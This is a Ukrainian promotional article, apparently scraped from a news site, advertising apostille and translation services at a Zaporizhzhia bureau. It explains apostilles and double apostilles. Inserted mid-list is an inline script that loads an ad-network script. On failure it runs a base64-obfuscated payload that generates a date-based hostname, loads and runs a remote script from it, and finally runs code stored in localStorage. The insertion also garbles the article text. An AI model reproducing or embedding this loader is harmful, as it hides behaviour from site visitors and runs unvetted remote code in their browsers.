Важные новости

Де замовити апостиль у Запоріжжі?

Якщо ви плануєте поїздку за кордон, і вам буде потрібна процедура перекладу документів іноземною мовою та їх подальша легалізація, ви можете звернутися за цією послугою до бюро перекладів у Запоріжжі «Держпереклад». Наше бюро пропонує клієнтам послугу «під ключ». Це означає, що ви можете зробити не лише переклад, а й замовити оформлення апостилю у Запоріжжі.

Що таке апостиль і в яких випадках без нього не обійтися?

Апостиль – це спеціальний штамп, який проставляється на документи, наділяючи їх юридичною силою на території іноземної держави. Апостилювати документи необхідно, якщо ви плануєте поїздку за кордон і точно знаєте, що там вам потрібно пред’являти свої особисті документи в офіційні органи та структури. Наприклад, для здобуття освіти за кордоном, працевлаштування, укладання шлюбу, здобуття спадщини тощо.

Апостиль – це спеціальний стандартизований штамп, печатка відповідного державного відомства. Право проставляти такі штампи на різноманітні документи мають Міністерство освіти, Міністерство юстиції та Міністерство закордонних справ. Як правило, найчастіше це особисті документи: атестати та дипломи про освіту, свідоцтва про народження / смерть, одруження або розлучення, медичні довідки, документи, довіреності та заяви, завірені у нотаріуса, тощо.

Бюро перекладів з апостилем

Навіщо потрібно апостилювати документи?

Без цієї процедури на території іноземної держави ваші особисті документи, що отримані в Україні, втрачають свою юридичну силу та перетворюються на прості папірці. Тому, щоб уникнути неприємних сюрпризів і проблем у чужій країні, необхідно заздалегідь потурбуватися про свою юридичну безпеку за кордоном і пройти всі необхідні процедури.

Фахівці нашого бюро мають величезний досвід підготовки документів для виїзду за кордон. Ми знаємо всі тонкощі та нюанси цієї роботи й допоможемо вам максимально швидко пройти процедуру, а також проставити апостиль у Запоріжжі. При цьому важливо знати порядок проходження цього процесу: спочатку здійснюється оформлення штампу апостилю, а вже потім переклад документів іноземною мовою!

Апостилюванню підлягають: var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }

документи про освіту,документи, що отримані в органах юстиції та РАЦСі,нотаріально засвідчені документи (заяви, довіреності), медичні документи.

Апостиль та подвійний апостиль: у чому різниця?

Деякі країни (наприклад, Швейцарія, Ізраїль, Норвегія, Ісландія) потребують подвійний апостиль для визнання документів легальними.

Що це таке?

Про подвійний апостиль йдеться у тому випадку, коли апостилюванню підлягає не лише оригінал того чи іншого документа, але і його нотаріально засвідчений переклад. Найчастіше такі вимоги пред’являються до документів з РАЦСу, довіреностей та рішень суду.

Під час подвійного проставлення апостилю, механізм легалізації є наступним: штамп проставляється на зворотному боці оригіналу, потім цей документ необхідно перекласти іноземною мовою, завірити переклад нотаріально й після цього проставити на ньому апостиль.

Як вже зазначалося, проставити апостиль можна в Міністерстві освіти України, Міністерстві юстиції України чи Міністерстві закордонних справ України.

Якщо ви не готові витрачати свій час, відвідуючи офіційні відомства у Києві, ви можете замовити послугу перекладу та апостилювання документів за вигідними цінами у нашому бюро у Запоріжжі. (adsbygoogle = window.adsbygoogle || []).push({});

Источник: https://akzent.zp.ua/de-zamoviti-apostil-u-zaporizhzhi/

Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook

Share this post

нет
scroll to top